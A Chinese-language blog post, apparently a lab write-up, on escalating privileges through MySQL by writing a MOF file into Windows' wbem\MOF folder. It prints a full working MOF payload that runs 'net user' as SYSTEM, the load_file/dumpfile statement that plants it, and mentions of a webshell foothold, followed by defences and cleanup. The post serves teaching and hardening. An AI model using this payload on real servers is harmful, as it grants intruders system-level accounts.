一、原理
Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件:
- 将MOF文件执行为命令行参数及Mofcomp.exe文件
- 使用IMofCompiler接口和$CompileFile方法
- 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹下的MOF文件中
托管对象格式(MOF)文件在 C:\Windows\System32\wbem\MOF 目录下,它是创建和注册提供程序、事件类别和事件的简便方法。其作用是每隔五秒就会去监控进程创建和死亡。那么只需要将恶意代码写入该文件中即可提权。
二、前提
mysql5.7 开始默认使用 secure-file-priv 选项,不能随意选择导出路径,所以 mof 提权仅适用于以下条件:
- 操作系统版本低于 win2008
- 数据库为 mysql<5.7 且知道登录账号密码并且允许外连
总结来说就是当前 root 账户可以复制文件到 %SystemRoot%\System32\wbem\MOF 目录下。
三、提权
3.1实验环境
靶机:win2003 ip:192.168.34.131
攻击机在靶机写入一句话木马,蚁剑连接。
3.2利用方法
先 select version(); 判断数据库版本,小于 5.7 可以利用 mof 提权。
将以下代码保存为 test.mof 文件,修改第 17 行代码为添加一个普通用户命令。
1 #pragma namespace("\\.\root\subscription") 2 instance of __EventFilter as $EventFilter 3 { 4 EventNamespace = "Root\\Cimv2"; 5 Name = "filtP2"; 6 Query = "Select * From __InstanceModificationEvent " 7 "Where TargetInstance Isa \"Win32_LocalTime\" " 8 "And TargetInstance.Second = 5"; 9 QueryLanguage = "WQL"; 10 }; 11 12 instance of ActiveScriptEventConsumer as $Consumer 13 { 14 Name = "consPCSV2"; 15 ScriptingEngine = "JScript"; 16 ScriptText = 17 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moftest mof.test /add\")"; 18 }; 19 20 instance of __FilterToConsumerBinding 21 { 22 Consumer = $Consumer; 23 Filter = $EventFilter; 24 };
上传该文件到服务器上任意位置,再通过 mysql 语句将文件导入。
select load_file(‘C:/phpStudy/WWW/test.mof‘) into dumpfile ‘C:/WINDOWS/system32/wbem/mof/test.mof‘;
执行导入命令失败,SHOW VARIABLES LIKE "secure_file_priv"; 命令查看当前 secure_file_priv。
为了实验看一下效果,靶机 my.ini 添加一行 secure_file_priv = 代表不限制目录,重启 mysql 再执行一次导入命令。
导入后,系统会自动运行该文件,可以再修改第 17 行代码进行添加管理员等操作。由于 mof 是由 system 执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。
四、防范
- 尽量不要使用 root 账号连接数据库
- root 账号使用强加密方式
- 对 mysql 数据库目录权限严格限制
- 操作系统目录 C:\Windows\System32\wbem 禁止写入
如果服务器发现被使用 mof 提权,解决循环创建用户方法:
- 打开 cmd 使用命令:net stop winmgmt
- 删除文件夹下内容 C:\Windows\System32\wbem\Repository
- 再执行 net start winmgmt 即可
五、总结
这篇随笔和上一篇MySQL_UDF提权 https://www.cnblogs.com/wkzb/p/13174291.html 都是MySQL提权方式的小总结,如果有错误欢迎师傅们批评指正。
参考:
https://www.jianshu.com/p/6dbac868e2ab
https://netsecurity.51cto.com/art/201610/520320.htm
https://blog.51cto.com/z2ppp/1975985